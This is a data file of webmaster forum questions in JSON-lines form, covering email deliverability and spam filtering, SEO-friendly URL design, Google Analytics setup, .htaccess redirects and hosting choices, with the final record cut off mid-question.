{"id":"54578","title":"Admin form that generates an email confirmation ends up in SPAM","text":"I have an admin form that I have setup for a client, that generates an email confirmation from a template I have designer. It works really well, but it ends up in spam some of the time. This is real frustrating as it is just confirming some details for the customer of what they have just booked. It is not at all spam, and is accessed via a page where the admin requires login. Any suggestions as to why this may end up in spam. It does have dollar signs ($$) as it is confirming a price, I'm assuming this is one problem, the rest of it is just general dates and info about the confirmation. Are there any suggestions on how to get this out of spam?"}
{"id":"27287","title":"Gmail is marking my emails as SPAM - Please help","text":"> **Possible Duplicate:** > How could I prevent my mail from being recognized as spam? gmail is marking my emails as SPAM I used the great service: isNOTspam.com to check my email against spam I got the following But I don't understand what it means please help me! thanks Thank you for using isNOTspam. The isNOTspam team ========================================================== Summary of Results ========================================================== SPF Check : neutral Sender-ID Check : neutral DomainKeys Check : pass DKIM Check : pass SpamAssassin Check : ham ========================================================== Details: ========================================================== HELO hostname: mail-gx0-f193.google.com Source IP: 209.85.161.193 mail-from: no-reply@codepigeon.com --------------------------------------------------------- SPF check details: ---------------------------------------------------------- Result: neutral ID(s) verified: smtp.mail=no-reply@codepigeon.com DNS record(s): codepigeon.com. 14399 IN TXT \"v=spf1 a mx ip4:108.163.232.130 ?all\" ---------------------------------------------------------- Sender-ID check details: ---------------------------------------------------------- Result: neutral ID(s) verified: smtp.mail=no-reply@codepigeon.com DNS record(s): codepigeon.com. 14399 IN TXT \"v=spf1 a mx ip4:108.163.232.130 ?all\" ---------------------------------------------------------- DomainKeys check details: ---------------------------------------------------------- Result: pass ID(s) verified: header.From=no-reply@codepigeon.com Selector= domain= DomainKeys DNS Record=._domainkey. ---------------------------------------------------------- DKIM check details: ---------------------------------------------------------- Result: pass ID(s) verified: header.From=no-reply@codepigeon.com Selector= domain= DomainKeys DNS Record=._domainkey. ---------------------------------------------------------- SpamAssassin check details: ---------------------------------------------------------- SpamAssassin v3.2.5 (2008-06-10) Result: ham (03.9points, 10.0 required) pts rule name description ---- ---------------------- ------------------------------- * -1.0 RCVD_IN_DNSWL_LOW RBL: Sender listed at http:\/\/www.dnswl.org\/, low * trust * [209.85.161.193 listed in list.dnswl.org] * 1.2 SPF_NEUTRAL SPF: sender does not match SPF record (neutral) * -0.0 DKIM_VERIFIED Domain Keys Identified Mail: signature passes * verification * 0.0 DKIM_SIGNED Domain Keys Identified Mail: message has a signature * 0.0 HTML_MESSAGE BODY: HTML included in message * 0.1 MIME_HTML_ONLY BODY: Message only has text\/html MIME parts * 2.5 HTML_IMAGE_ONLY_16 BODY: HTML: images with 1200-1600 bytes of words * 1.1 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag ========================================================== Explanation of the possible results (adapted from draft-kucherawy-sender-auth-header-04.txt): ========================================================== \"pass\" the message passed the authentication test. \"fail\" the message failed the authentication test. \"softfail\" the message failed the authentication test, and the authentication method has either an explicit or implicit policy which doesn't require successful authentication of all messages from that domain. \"neutral\" the authentication method completed without errors, but was unable to reach either a positive or a negative result about the message. \"temperror\" a temporary (recoverable) error occurred attempting to authenticate the sender; either the process couldn't be completed locally, or there was a temporary failure retrieving data required for the authentication. A later retry may produce a more final result. \"permerror\" a permanent (unrecoverable) error occurred attempting to authenticate the sender; either the process couldn't be completed locally, or there was a permanent failure retrieving data required for the authentication. ========================================================== Original Email ========================================================== From no-reply@codepigeon.com Wed Mar 14 13:43:34 2012 Return-path: <no-reply@codepigeon.com> Envelope-to: check@isnotspam.com Delivery-date: Wed, 14 Mar 2012 13:43:34 -0500 Received: from mail-gx0-f193.google.com ([209.85.161.193]) by s15387396.onlinehome-server.com with esmtp (Exim 4.71) (envelope-from <no-reply@codepigeon.com>) id 1S7tAc-0000Uo-Cp for check@isnotspam.com; Wed, 14 Mar 2012 13:43:34 -0500 Received: by ggki26 with SMTP id i26so941402ggk.4 for <check@isnotspam.com>; Wed, 14 Mar 2012 11:43:29 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed\/relaxed; d=codepigeon.com; s=google; h=date:to:from:reply-to:subject:message-id:x-priority:x-mailer :mime-version:content-transfer-encoding:content-type; bh=yYAEachAACAdByYlYzx5ByG3p3QEOATs2nV+CJqQAkE=; b=Rt0VOOwVgNlcmKDrv9kR1Z0tKdofOYlLhOCjGzbzmtFq9gMKB1F68HnLsEa8KmZ8du m2fpskmyHNc6tzi3byo1mzwY+3cZ98qHo3cQGDLGru9bPFkqSggKazs2IdG\/edgA8Blq hJRDqtGZyyXx+c05\/BE7HR7RkvgFjBYVMmHmE= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed\/relaxed; d=google.com; s=20120113; h=date:to:from:reply-to:subject:message-id:x-priority:x-mailer :mime-version:content-transfer-encoding:content-type :x-gm-message-state; bh=yYAEachAACAdByYlYzx5ByG3p3QEOATs2nV+CJqQAkE=; b=UXiptOG3Poovfon48iUQYGz9CxPNKUSisoQfAfHizz0Jc6JKevF3ldAn0T2J2j7vQ8 duQ0uL3ZsjtZYyjP3ZJMdZWlmVtpCjS4AtOp26nEirKmhlSAilp9tlA9cHvX0mgJWgPG RKeoKe7oVMi4r6A5MX06u0blYhktg5dRatRJtGUb+tpm2Ojhp6F4zr23WpxjghbL0Uv4 K2+NTFG\/SU\/hW7ccru4YT8ZPBPlsaSr2PGJYCqXKLVwikG78gfue5J9OWpTytNSXdNq8 6KoBfZNFNXQWZgcRrg8PS0iQ9gnethf2981mufYdRLTESg1d8hJLH\/5HjehqIpJvlF9g VK1g== Received: by 10.224.189.12 with SMTP id dc12mr4429122qab.22.1331750608913; Wed, 14 Mar 2012 11:43:28 -0700 (PDT) Received: from app.codepigeon.com (s1.om-p.com. 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{"id":"12493","title":"How to keep an email out of a recipient's spam folder?","text":"> **Possible Duplicate:** > How could I prevent my mail from being recognized as spam? When I user completes a form the information is sent to a specific email address which varies (and is not always on the same host). The SMTP I am using is gmail which originates from my website host. I have also specified Reply-To (which is the users email address entered in the form). The problem is that the email is going straight into the SPAM folder. Does anyone know how to prevent this from happening?"}
{"id":"2305","title":"Postal address in Whois information, how bad of an idea is this?","text":"I currently have my full contact details (including my phone number and postal address) in the WHOIS information for all the domain names I have registered so far. I wonder how bad of an idea this is and whether I should remove such information from the WHOIS. What are the possible consequences of leaving such information there and what are the benefits (if any) for leaving it? Are there any known incidents for troubles because of WHOIS information? Finally, what would you recommend? Would you recommend using a WHOIS privacy service? Just to add, I believe there are services, like domaintools.com, that archive the WHOIS information, so, is it too late to remove my contact details? (if you think I should remove it). Many thanks **Update:** I just received an email from my domain registrar which included this: (Under ICANN rules and the terms of your registration agreement, PROVIDING FALSE CONTACT INFORMATION CAN BE GROUNDS FOR DOMAIN NAME CANCELLATION.) To review the ICANN policy, visit: http:\/\/www.icann.org\/en\/whois\/wdrp-registrant- faq.htm So, it's clear that there's no choice as to providing your real contact details. A WHOIS privacy service is the best option if anyone wants to hide their contact details (this is best done from the beginning as there are services, like domaintools.com, that archive the WHOIS information)."}
{"id":"13611","title":"What browser or bot has the user agent of \"SD-1.30.1\"?","text":"I have tried checking on Google but to no avail. Does anyone recognize this user agent?"}
{"id":"4789","title":"Embed Google Map with branded place markers","text":"How do you setup custom place markers when using Google maps that are embedded on your site?"}
{"id":"31903","title":"Managing multiple Adwords accounts from one Google account","text":"I have a Gmail account linked to numerous Analytics accounts, and a couple of Adwords accounts - that is, I can track stats from a dozen or so sites, and have administration rights for a couple of Adwords campaigns. However, a client has already set-up their Adwords account and has invited me help administer their campaign. However, when I try to accept, I get the folowing error: The Google Account xxx already has access to an AdWords account (Customer ID: ). As many have discovered, for some reason Google won't let an account that already owns an Adwords campaign, to join another account. However, I wondering if there is any workaround for this? Temporarily, I'm using a separate Gmail account for this, but what is the longer term solution. Going forwards, sometimes clients will be happy from me to 'host' their campaigns (but providing them with access), but I'm equally sure that many will want to retain greater control. Surely there must be a better way than creating an additional Gmail account for each client? How do web\/SEO agencies handle this?"}
{"id":"4781","title":"ecommerce website development guidelines","text":"I need a guideline to prepare a list of questions for my customer to build a e-commerce website What are the most important questions related to the online shop I should ask (such as: what's your bank account, what's your expected revenues.. etc) thanks"}
{"id":"14912","title":"Article marketing for back links","text":"> **Possible Duplicate:** > What role do article submission directories play in SEO? I'm interested what the consensus is on the likes of ezinearticles as a form of backlink building. There are a couple of similar questions here but given google's recent panda update apparently targeting article directory sites I'm not sure where this stands. I realise there are better backlinks, from established sites etc, however this is one approach that is consistently recommended around the internet. My current situation is I'm at position 16 of google.com for a keyword with 2.6 million searches a month. I had intended this month to publish an article or two each day on ezinearticles then duplicate on a couple more but before I set upon this tedious task, would I be wasting my time?"}
{"id":"53953","title":"how can i best manage sitmap.xml with .co.uk and .com","text":"how can i best manage sitmap.xml with .co.uk and .com As they both point to the same site how do I tackle the sitemap.xml files, I see a lot of sites don't even bother with a sitmap.xml file is it even necessary?"}
{"id":"5823","title":"SEO for e-commerce, how to keep links in each page to a reasonable number?","text":"After reading this: _\"Keep the links on a given page to a reasonable number\"_ [Googkle official site] And this: _\"Users often dislike link-heavy pages too, so before you go overboard putting a ton of links on a page, ask yourself what the purpose of the page is and whether it works well for the user experience.\"_ [Matt Cutts official blog] I'm wondering **how to keep links on a given page to a reasonable number for a generic e-commerce site** , in order to make Google happy too. Usually these type of sites contains a left menu packed with all the products\/articles in the shop catalog divided by categories\/sub-categories. **Each sub-category has naturally a link to it** (on some sites even the main category have a link showing a page with the sub-categories listed as page contents) **Shops\/companies usually have many categories\/sub-categories to show, so generally these left menu are big with many, many links.** And since these left menu are repeated in each page (1) how could we keep the amount of links to a reasonable number? Any SEO considerations and suggestions are well accepted too in your answer (as always). * * * (1) note - I think these big menus repeated in all pages don't make the website less user friendly I'm talking about tree menus like this one for instance `www . nummus . com` these type menu use also Javascript to open nodes and on each page they keep themselves open, so I think they are very user friendly. Actually I think the opposite: **I can't stand navigating sites that change the position or the flow\/contents of menus while I'm navigating.** And you?"}
{"id":"23696","title":"What's the fluid-icon for?","text":"I stumbled over a html meta tag I don't knew and wonder what it's about. <link rel=\"fluid-icon\" href=\"https:\/\/github.com\/fluidicon.png\" title=\"GitHub\" \/> I googled around, but couldn't find any explanation. What is this? A new favicon approach? And what's the difference to the one I already know: <link rel=\"icon\" href=\"images\/2\/mail_icon_32.png\" sizes=\"32x32\"> <link rel=\"shortcut icon\" href=\"https:\/\/www.google.com\/a\/scoop-gmbh.de\/images\/favicon.ico\" type=\"image\/x-icon\">"}
{"id":"19012","title":"Why would it take longer for a web page to resolve when the url is entered without \"www\"?","text":"I was looking up a new website a friend of mine just built, and when I typed in \"youwho.com\", it took like 3 minutes to return the page to me. When I typed \"www.youwho.com\" it resolved instantly. Why would this happen?"}
{"id":"19013","title":"E-Mail Marketing \"Width\"","text":"I am working on building an email marketing newsletter, is there a good general width that I should stick with? I have seen 600 as a number but I am unsure what others have encountered. I need this to work in as many clients as possible without the dreaded horizontal scroll bar. Thanks!"}
{"id":"385","title":"How do you load test your application?","text":"What is the most effective way to load to load test your app? The main point is to determine how many users you could support at a single time with the application still running at a reasonable speed."}
{"id":"9373","title":"How to test high load on a website?","text":"> **Possible Duplicate:** > How do you load test your application? Hi, I am nearing a point of finalizing a website and it will soon be released. We have bought some traffic and advertisement packages and the nature of the site makes it heavier than typical static-like websites. I am looking for hear good ways to test how well the site performs under heavy load. I already know _ab_. Got any other tips to spare?"}
{"id":"65694","title":"Is this way of using Pushstate SEO friendly?","text":"As discussed in this question in Mauvis Ledford's answer and Pumbaa80's answer, Pushstate has many advantages in comparison to hasbangs. But I would like to discuss a single disadvantage Pushstate has, and then propose a solution. My question is whether that solution is SEO-friendly or not, and if not, what other solutions are there. **The problem with pushstate** The pushstate disadvantage relevant to me is the fact that whenever one opens a new page, a full page load must be done. With hasbangs this is not the case. Consider this: One opens up `example.com\/gallery`, if one just clicks a photo, Pushstate works great. One's browser makes an ajax call, fetches some JSON, renders the picture, updates the URL to `example.com\/photo1`. Everyone is happy. But if one _right clicks_ a photo and opens `example.com\/photo1` in **a new tab,** a full page is requested and one does not enjoy the benefit of Pushstate. If one does the same with `example.com\/photo2` and `example.com\/photo3`. And all the way up to `example.com\/photo10`. 11 full page requests will be made. Now consider the hashbang alternative: One opens up `example.com\/#gallery`, now one rights click a photo and opens `example.com\/#!photo1` in a new tab. One does the same with `example.com\/#!photo2` and `example.com\/#!photo3`. And all the way up to `example.com\/#!photo10`. only `example.com` was requested, and it was cached. Then 11 tiny json requests were made. This is much better than fetching 11 full pages. In conclusion: When visiting a website and opening many pages in multiple tabs, hashbangs are more efficient. **The solution** I found a solution which would make Pushstate as efficient as hashbangs even when opening a website's pages in multiple tabs, but I wonder how it fairs when it comes to SEO. When a user opens `example.com\/gallery`, this is what they get. <html><head><meta name=\"fragment\" content=\"!\"><\/head><body> <script src=”App.js”><\/script> <script>function initialJson(){Some JSON here}<\/script> <\/body><\/html> The first line tells the web crawlers that this is an ajax page and that they should fetch a prerendered page somewhere else, please see this for more info. The second line loads the ajax app. The third line provides some JSON which is immediately consumed by the `App.js` and then the dom is generated. Thus only a single request was needed to render a full page. Now that the user has `example.com\/gallery`, when they decide to click something which leads to `example.com\/photo1`, the user's browser makes an ajax call, fetches some JSON, renders the page, updates the URL. Everyone is happy. Here's the magic: If a user decides to open `example.com\/photo2` in a **new tab** , they will get this: <html><head><meta name=\"fragment\" content=\"!\"><\/head><body> <script src=”App.js”><\/script> <script>function initialJson(){Some JSON here}<\/script> <\/body><\/html> And since `App.js` is already cached, this is as good as a normal ajax request. We just let `App.js` consume the JSON and render a full page. **The Question** Is this SEO friendly? Are there any better alternatives? Is there a catch here? Are there any well known websites which do this?"}
{"id":"19772","title":"Google Analytics unable to validate my site during setup","text":"> **Possible Duplicate:** > Google Analytics unable to validate my site during setup I had trouble setting up GA on one of my websites so I set up a very simple test environment with a new domain name and just a single page - the default page. Even in this simple environment I couldn't get GA to validate me. My environment is as follows: Site: www.example.com My default page contains the following: <html> <head> <script type=\"text\/javascript\"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-25700000-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text\/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https:\/\/ssl' : 'http:\/\/www') + '.google-analytics.com\/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);})(); <\/script> <\/head> example.com Google Analytics test <\/html> I am 10000000% sure that the tracking code provided to me is the tracking code included in the above script. I simply copied and pasted the code block. I've waited days after doing the config since I know it may take GA time, but certainly shouldn't take 3 days. The old version of GA shows:  and the new version shows:  Note that the screenshot of the new version has the weird \"December 1969\" thing which I've read about in other forums and seems (?) unrelated to my problem. How can I make this work?"}
{"id":"54107","title":"How to block pagination when the URL is just one number?","text":"I'm trying to avoid duplicate content on a website by blocking pagination via _robots.txt_ , but it turns out the URL doesn't have a parameter passed into the URL I can simply block, it's just a number. Example: \/category\/sub-category\/product\/ \/category\/sub-category\/product\/1 \/category\/sub-category\/product\/2 \/category\/sub-category\/product\/3 In the example above, the URLs that end with 1, 2, and 3 is pagination. Any idea on how I can block these? I don't want to just block all numbers, as this is not an ideal solution."}
{"id":"18557","title":"How to know how regular the pages of itpian(dot) com are indexed by google?","text":"> **Possible Duplicate:** > How do I control how often search engines visit my site? How to know how regular the pages of itpian(dot)com are indexed by google?"}
{"id":"8262","title":"Registration form rules","text":"I read somewhere that a registration form has to have some sort of notification about the storing of their info, is this true? If so, where can I find those rules?"}
{"id":"61079","title":"How local is each country's version of Google?","text":"I know that you can drill down on the particular language or country version of google from \"Search tools,\" but even discounting for that, and removing personalisation etc, I'm still seeing different results for the same search between google.com and google.co.uk, for example. All things being equal, are these really supposed to be showing exactly the same results?"}
{"id":"59728","title":"Mailserver at my hosting company is unable to resolve certain domains","text":"I am hosting my site on HostGator. The problem is that I can not receive e-mails from some domains. Here is the SMTP transaction response received: H=(sv2.elanceonline.com) [162.242.179.29]:38251 I=[192.185.51.218]:25 F=<bounce@svbounce.elanceonline.com> temporarily rejected RCPT H=(sv2.elanceonline.com) I=[192.185.51.218]:25 sender verify defer for <bounce@svbounce.elanceonline.com>: host lookup did not complete Unable to resolve svbounce.elanceonline The support person at HostGator insisted that the problem is on domain-side, but I am very sure it is on HostGator's side because I never had any such problems before using HostGator, and now in the course of 2 days I'm having the same problem with 2 different senders. I can receive from both domain's emails to Gmail at the same time without any problem, but once I type `myemail@mydomain.com` (`mydomain.com` is hosted on HostGator) I cannot receive e-mail. What could be reasons for not being able to resolve `svbounce.elanceonline` or other domains? Should I trust HostGator and believe them that it's not a problem on their side?"}
{"id":"60210","title":"How do websites with 'premium content' go about SEO?","text":"While searching for news, I am often presented with pages that have 'premium content'. For example this story by The Australian. I checked it's canonical URL and it's same as the page I landed upon `http:\/\/www.theaustralian.com.au\/national-affairs\/policy\/martin-parkinsons- blessing-for-tony-abbotts-plea-to-stay\/story-fn59nsif-1226872844602` I checked the site's code hoping that 'premium content' might be hidden using CSS but that's not the case either. My question is - how have they managed to rank so high with a big popup & a fraction of full content that's supposed to be on this page when there are other sources with full stories and a much more pleasant user experience? Any chance they are serving full content to the bots?"}
{"id":"56629","title":"cPanel redirects not working on extensionless files","text":"I'm trying to redirect the address `http:\/\/example.com\/newsletters\/January%20Newsletter%20` to `http:\/\/example.com\/newsletters\/JanuaryNewsletter.pdf` using cPanel's redirect manager, but it doesn't seem to work on files with no extension. To test this I've tried redirecting similar files but with a `.txt` extension, and everything works fine. Any idea how I can get this redirect setup? My _.htaccess_ looks like this: RewriteEngine on RewriteOptions inherit IndexIgnore .htaccess *\/.??* *~ *# *\/HEADER* *\/README* *\/_vti* <Limit GET POST> order deny,allow deny from all allow from all <\/Limit> <Limit PUT DELETE> order deny,allow deny from all <\/Limit> AuthName lakevalleygolf.com RewriteCond %{HTTP_HOST} ^.*$ RewriteRule ^newsletters\\\/January\\%20Newsletter\\%20$ \"http\\:\\\/\\\/example\\.com\\\/newsletters\\\/JanuaryNewsletter\\.pdf\" [R=301,L] "}
{"id":"19702","title":"Understanding data transfer\/file requests - what constitutes my bandwidth usage?","text":"I'm trying to understand how bandwidth works in relation to file requests, so that I can get a good feel of what, say, 100GB of monthly bandwidth would allow. Let's say I have a php file with the compiled size of `2kb` with no external file requests e.g images, surely that doesn't mean that file can be requested 50,000,000 times. What about database requests? What about the resources required by each individual php function? If someone could explain how bandwidth usage is calculated (assuming it's not bandwidth\/compiled file size = number of allowed requests), it would be VERY much appreciated!"}
{"id":"60219","title":"Issue with result of Microdata schema.org in Google Labs","text":"Please note this code: <html itemscope itemtype=\"http:\/\/schema.org\/WebPage\"> <head> <meta itemprop=\"name\" content=\"webpage\"\/> <\/head> <body> <div itemprop=\"mainContentOfPage\" itemscope itemtype=\"http:\/\/schema.org\/Article\"> <span itemprop=\"aggregateRating\" itemscope=\"\" itemtype=\"http:\/\/schema.org\/AggregateRating\"> <meta itemprop=\"ratingValue\" content=\"4\"> <meta itemprop=\"worstRating\" content=\"0\"> <meta itemprop=\"bestRating\" content=\"5\"> <meta itemprop=\"ratingCount\" content=\"100\"> <\/span> <\/div> <\/body> <\/html> If I add an `AggregateRating` inside the `div` tag for article, Google Labs does not show the values of `AggregateRating` on its URL result So I must remove `itemprop=\"mainContentOfPage\"` or add `AggregateRating` out of the `div` tag or add both. How can I fix this problem? `AggregateRating` belongs to `AggregateRating`, not `WebPage`!? For a solution I changed the code to this: <html itemscope itemtype=\"http:\/\/schema.org\/WebPage\"> <head> <meta itemprop=\"name\" content=\"webpage\"\/> <\/head> <body> <span itemprop=\"aggregateRating\" itemscope=\"\" itemtype=\"http:\/\/schema.org\/AggregateRating\"> <meta itemprop=\"ratingValue\" content=\"4\"> <meta itemprop=\"worstRating\" content=\"0\"> <meta itemprop=\"bestRating\" content=\"5\"> <meta itemprop=\"ratingCount\" content=\"100\"> <\/span> <div itemprop=\"about mainContentOfPage\" itemscope itemtype=\"http:\/\/schema.org\/Article\"> <span itemprop=\"aggregateRating\" itemscope=\"\" itemtype=\"http:\/\/schema.org\/AggregateRating\"> <meta itemprop=\"ratingValue\" content=\"4\"> <meta itemprop=\"worstRating\" content=\"0\"> <meta itemprop=\"bestRating\" content=\"5\"> <meta itemprop=\"ratingCount\" content=\"100\"> <\/span> <\/div> <\/body> <\/html> But I'm not sure it's true or not!"}
{"id":"25698","title":"Setting up a LaunchRock page without hosting","text":"Looking to buy a 'dot-com' domain as cheap as possible, and set the DNS to forward to the LaunchRock service without having to setup a hosting act. Is this possible, and if so how? I've asked roughly the same question before, though at that point I thought I would have to have a domain and hosting, but in rethinking about it just now, since LaunchRock would be hosting the site via a sub-domain reroute using DNS setting, I'm thinking that I don't even need a hosting account to just run a LaunchRock landing page; though not sure if that's the case, or how it might be done. Here's the original question, \"LaunchRock CNAME configs, what do they do?\" (and answer)-- which includes LaunchRock's \"general-instructions-for-creating- your-cname-record\","}
{"id":"25348","title":"Service that will help me visualize SQL db","text":"I have a website that I've built and it uses a SQL DB. I want to be able to view that data, nicely graphed but with the relations made, so that I can keep track of trends over time. For example I don't just want to be able to look at the trend of users joining over time, I want to know which users did the most of an action, and what they did. This would involve joining several tables. So, can anyone suggest any tools to assist me in doing this? Ideally the product\/service would import the DB (or access it), I'd specify which tables to join and on which attributes and it would produce the graphs. I don't want to go the custom route and build the graphs myself. I'd like something I could use there or in another similar situation."}
{"id":"25693","title":"SEO: pages' title for small websites (i.e. 5\/6 pages) - repeat key-phrase or not?","text":"It's well known that pages' `<title>` do impact Google positioning, beside this, they are also definitely important to catch user eye when he is looking at Google search results. Let's say I have a typical site of 5\/6 pages for a bed and breakfast, let me list few pages and their possible titles 1. **HOME** - `title = \"B&B town name, completely new, cheap price for the weekend.\"` 2. **THE HISTORY OF THIS B &B** - `title = \"B&B town name – The History\"` 3. **BOOK NOW** - `title = \" B&B town name – Book online\"` 4. **WHERE WE ARE** - `title = \"B&B name, 234 Walnut ave. town name – CA\"` ... As you can see I would typically repeat the key-phrase “B&B town name...” in all pages, thus to make sure any of the pages (wherever they'll be shown in Google results) would at least immediately describe the site content and possibly catch a potential customer's eye. **How would you else\/better fill the titles?** **Do you think is someway bad to repeat the key-phrase “B &B town name...” in all pages?** I'm doing a specific example because reading answers for a specific example might be more easy to me to understand, but obviously the concept could be applied to any websites of almost the same size, so feel free to add your more general considerations and suggestions."}
{"id":"25340","title":"Google Analytics goal funnel does not recognize virtual page views","text":"I have a setup wizard with 3 steps. Since I'm using AJAX each step uses a virtual pageview with an appropriate URL for each step (see below). The pageviews are being recorded in the Content section of Google Analytics but the Goal Funnel still shows zero for each step. I've tried advise on other forums such as... * Make sure Goal URL is set to Exact match * Make sure no steps or the Goal URL are a parent directory of any other steps. For example, don't track \/wizard\/ as a Goal\/step and track \/wizard\/step2\/. Not sure why this would be a problem since it is an exact match, but it shouldn't hurt so I tried it... * Require (or don't require - tried both) the first step in the funnel ...but none of these seem to work. Thoughts? * * * ## Goal Settings Exact match : \"\/wizard\/setup-complete\/\" Funnel Step 1 : \"\/wizard\/step1\/\" Step 2 : \"\/wizard\/step2\/\" Step 3 : \"\/wizard\/step3\/\""}
{"id":"25346","title":"Apache, Lighttpd, which one should I use?","text":"Apache has always been described to me as the solution for hosting websites, but I have been using Lighttpd for many years now and seems pretty stable. What are the advantages of Apache towards Lighttpd ? Does it scale well for heavy-usage applications ? Is it stable enough ?"}
{"id":"51162","title":"Blackhat SEO\/Spam? Backlinking-blog entry has nothing to do with our site","text":"I'm seeing some weird backlinks to our site. For example, there's a blogger with a site that is several years old and looking pretty legitimate, but he has links to our e-commerce home page site from his blog posts that have nothing to do with the type of products we sell. He has these anchor text that are keywords on our site, but are used out of context in his blog. For example, \"... toothpaste caps\" where `cap` is linking to our site where we baseball caps. Or, \"... power outlet cap\" where `cap` is linking to our homepage. Now, our last SEO guy, who I think was horrible, used to employ these paid services that would write fake reviews for you with a link to our site. So, it is not impossible that this was a result from that, but I need to find that out. What exactly is this type of behavior called by SEOs and search engine companies? I'd like to research more into what this is what how it affects our site and where it came from."}
{"id":"23961","title":"General Properties\\Legal Domain warning on flash","text":"I had a website containing 2 flash items (menu and banner). Everthing were fine, but for some reasons I had to change its hosting to a new server. Now, I have a warning frame on the banner that says: > Warning!!! Read this!!! > > Please, put this address into the General Properties\\Legal Domain: ... What is this warning for and how can I remove it? _(The domain did not change)_"}
{"id":"23964","title":"How to allow nonsense characters as web url for example: & * Ö :: and more","text":"I have a database which contain many name with combination of those characters. Once i will reload them, they will become public web url. So that visitor if open this url (its valid??): http:\/\/www.example.com\/&*Ö:: It will land to a unique page. But do you really allow those characters? Or filter them. Or there is no rule really, anything is allowed. (I can already see, `http:\/\/webmasters.stackexchange.com\/questions\/23964\/how- to-allow-nonsense-characters-as-web-url-for-example-and-more`, skiped my special characters and only took \"and more\". Is that the standard? I mean you can delete the main character?)"}
{"id":"65798","title":"Is it possible to get the Google Alerts as structured data?","text":"With the Google Alerts one can subscribe notifications about the newest search results to a given search terms. The alerts are sent to the email. Now, I'd like to analyse this data. Is there an API for it? (How) Can I get this data as JSON or in an other structured form?"}
{"id":"6073","title":"What is the best stucture of SEO friendly URL?","text":"I'm working for a website to convert the website URL to an SEO friendly URL. I plan to use this: `mysite.com\/category-name\/pageid-123-page-name` I looked at some similarly categorized, highly ranked websites. They have the same structure, except for one thing. In one case, the URL format was `thissite.com\/category-name\/pageid-123-page-name.html` Another was `thatsite.com\/category-name\/pageid-123-page-name.php` Now I know the text in URLs help with SEO. Is it more helpful to have a file extension? If yes, which one is better? Or if my current plan is okay, will it be better with a `\/` at the end?"}
{"id":"58733","title":"which URL is better for a search engine?","text":"In 2 ways I can show The article URL in my website: My Breadcrumbs website for a content to both of ways is this: **home** >> **computer** >> **hardware** >> **cpu** >>this-is-an-article.html **The First way:** LINK of article : example.com\/computer\/hardware\/cpu\/this- is-an-article.html catagory 1: example.com\/computer.html catagory 2: example.com\/computer\/hardware.html catagory 3: example.com\/computer\/hardware\/cpu.html **THe second way:** LINK of article : example.com\/cpu\/this-is-an-article.html catagory 1: example.com\/computer.html catagory 2: example.com\/hardware.html catagory 3: example.com\/cpu.html **which one is the best for serach engine specialy google?**"}
{"id":"48266","title":"Internal Link building strategy","text":"I am having a few concerns about the best possible link building strategy for a large webshop. The category structure is something like this: www.site.com www.site.com\/whitegoods www.site.com\/whitegoods\/washing-machines www.site.com\/whitegoods\/washing-machines\/front-loaded www.site.com\/whitegoods\/washing-machines\/front-loaded\/siemens Now I want `www.site.com\/whitegoods\/washing-machines` to rank for the search _washing machines_ which is highly competitive. And I want `www.site.com\/whitegoods\/washing-machines\/front-loaded\/siemens` to rank for search terms like _front loaded washing machines_ which is not very competitive. Normally you say that you want to pass PR down through the page structure but the page that really needs some juice is the `www.site.com\/whitegoods\/washing- machines` page that I want to rank for _washing machines_. In other words: is it a good or a bad strategy to link from `www.site.com\/whitegoods\/washing-machines\/front-loaded\/siemens` to `www.site.com\/whitegoods\/washing-machines` with the anchor text _washing machines_?"}
{"id":"65754","title":"which url is better for google SEO, recursively or directly?","text":"Say I'm building a e-commerce website. I have a lot of products in different categories. For example one of them is: > Flat to Round Power Plug Convertor So I have two ways to link to this product, directly to it: > http:\/\/www.somedomain.com\/p\/flat-to-round-power-plug-convertor-1005874 or add the categories recursively before it: > http:\/\/www.somedomain.com\/electrical-tools\/plugs-sockets\/flat-to-round- > power-plug-convertor-1005874 According to google's SEO guild it seems it's recommending to put content in their own folders so that both users and robots can understand them easier. Besides if user simply remove the last part of URL `flat-to-round-power-plug- convertor-1005874`, they can easily get to the category. The simply question is, when the product is in a 3rd or 4th level directory, the URL gets pretty long. I don't know if this long URL harms SEO or not. Or should I use the first form? **EDIT** : The thing that confuses me is the URL should be \"descriptive\", and it should be \"short\". Consider the following example: http:\/\/www.somedomain.com\/apparel\/women-shoes\/lovely-pink-shoes http:\/\/www.somedomain.com\/apparel\/children-shoes\/lovely-pink-shoes It would definitely help people find what they want. And when you got tens of thousands of products, this situation would happen a lot. Besides, Google definitely encourages to categorize content in their own folders as referenced above. The problem is, the more descriptive the URL is, the longer it is. How should I make choice between \"descriptive\" and \"short\"?"}
{"id":"67990","title":"Best practices with multiple categories\/tags etc. on URL (SEO)","text":"I'm on the process of _building my eshop platform_ and encountered a **SEO** issue. My next step is to develop a _searching box_ , where user searches the products of a specific category (say, _desktops_ ). This box will contain characteristics of the category _desktops_ , for example, it will contain **RAM** and **CPU** for sure. _Notice_ that in my searching box one will be able to **select more than one** categories. My url (after rewrite) for _showing_ products of a specific category is as this: http:\/\/localhost\/products\/desktops I know how to add another rewrite rule in .htaccess but i won't until i find out.. **what is the best practice of adding multiple categories\/tags in url without inflate it and cause damage (etc. page ranking) rather gain something**. For example, let's say someone wants to search _through desktops_ and by ( _CPU and RAM_ ) Of course, the following patterns is non-acceptable, regarding variable size of input and known google dislike of many folders: http:\/\/localhost\/products\/desktops\/CPU\/RAM\/.. What about the following? 1. http:\/\/localhost\/products\/desktops\/CPU-RAM 2. http:\/\/localhost\/products\/desktops\/CPU|RAM The _1_ may seems nice but i learnt google is handling the hyphen (-) as words connector and these words are not connected? The _2_ is using the (|) pipe symbol since i learnt also google is using it to sort words of equal importance. I don't really if any of the above apply only to HTML content and\/or not to URLs. **How can i feed my URL so to include a number of categories, say about 5 max.** and if anyone knows how google handle such issue, etc. penalty or how searches\/archive that stuff. I don't really want to apply any _& filter_CPU=1&filter_RAM=1_ thingy in the end and defeating the whole purpose. **UPDATE:** Since my time was in essence i already went for the following approach\/URL rewrite: http:\/\/localhost\/products\/desktops\/search-for\/Celeron|Pentium|4gb-ram... , where `..` are a collection of category's attributes (etc. type of CPUs, size of memories etc. whatever 